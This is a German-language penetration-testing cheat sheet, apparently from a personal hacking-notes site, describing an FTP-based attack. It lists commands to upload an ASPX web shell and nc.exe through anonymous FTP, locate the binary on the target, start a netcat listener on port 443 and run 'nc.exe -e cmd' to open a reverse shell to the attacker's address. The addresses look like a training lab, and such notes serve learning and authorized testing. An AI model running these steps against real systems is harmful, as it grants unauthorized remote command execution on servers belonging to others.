> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).
# FTP - Reverse-Shell- und Web-Shell-Angriff
## **Reverse Shell über FTP-Upload**
### **Eine ASPX-Web-Shell hochladen**
Eine vorhandene Web-Shell verwenden, **`cmd.aspx`**, aus SecLists:
```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```
Laden Sie sie auf den FTP-Server hoch:
```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```
Greifen Sie über den HTTP-Server auf die Web-Shell zu und führen Sie Befehle aus, zum Beispiel:
```bash
ipconfig
```
### **Lade die `nc.exe` Binärdatei für eine Reverse Shell hoch**
Herunterladen **`nc.exe`** aus SecLists herunter:
```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```
Laden Sie sie auf den FTP-Server hoch:
```bash
ftp 10.10.10.5
anonymous
put nc.exe
```
Suchen Sie in der Web-Shell **`nc.exe`** auf dem Zielserver:
```powershell
dir /s C:/nc.exe
```
### **Richten Sie die Reverse Shell ein**
**Auf Port 443 lauschen:**
Richten Sie ein `nc` Listener auf Port 443 eingerichtet:
```bash
rlwrap nc -nvlp 443
```
Führen Sie auf dem Zielsystem den folgenden Befehl über die Web-Shell aus:
```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```
---
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